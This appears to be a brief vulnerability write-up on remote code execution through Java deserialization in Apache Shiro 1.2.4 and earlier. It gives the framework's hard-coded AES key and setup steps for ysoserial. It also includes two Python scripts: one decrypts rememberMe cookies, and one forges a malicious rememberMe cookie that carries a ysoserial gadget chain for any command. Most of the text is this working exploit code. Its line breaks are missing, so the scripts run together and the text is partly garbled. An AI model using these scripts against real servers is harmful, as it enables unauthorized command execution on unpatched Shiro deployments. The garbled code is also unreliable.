Apache Shiro Anti-serialization Rce vulnerability

Vulnerability Introduction

• Vulnerability Type: Java deserialization (RCE)
• Impact version: Apache Shiro 1.2.4 and Previous versions
• Vulnerability Rating: High risk

Vulnerability Analysis #:

Download Vulnerability Environment:

git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4

Tools download

git　clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTestscp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

The vulnerability uses AES CBC encryption and BASE64 encoding in transit, and a hard-coded secret key in the parent class Abstractremembermemanager in the Cookieremembermemanager.java class: Base64.decode ("kph+bixk5d2deziixcaaaa==") , Python's decryption code:

# pip install pycryptoimport sysimport base64from Crypto.Cipher import AESdef decode_rememberme_file(filename):    with open(filename, ‘rb‘) as fpr:        key  =  "kPH+bIxk5D2deZiIxcaaaA=="        mode =  AES.MODE_CBC        IV   = b‘ ‘ * 16        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)        remember_bin = encryptor.decrypt(fpr.read())    return remember_binif __name__ == ‘__main__‘:    with open("/tmp/decrypt.bin", ‘wb+‘) as fpw:        fpw.write(decode_rememberme_file(sys.argv[1]))

The object that the vulnerability serializes is principalcollection, using the script

# pip install pycryptoimport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES def encode_rememberme(command):    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.5-SNAPSHOT-all.jar‘, ‘CommonsCollections2‘, command], stdout=subprocess.PIPE)    BS   = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key  =  "kPH+bIxk5D2deZiIxcaaaA=="    mode =  AES.MODE_CBC    iv   =  uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext if __name__ == ‘__main__‘:    payload = encode_rememberme(sys.argv[1])        with open("/tmp/payload.cookie", "w") as fpw:        print("rememberMe={}".format(payload.decode()), file=fpw)

Apache Shiro Anti-serialization Rce vulnerability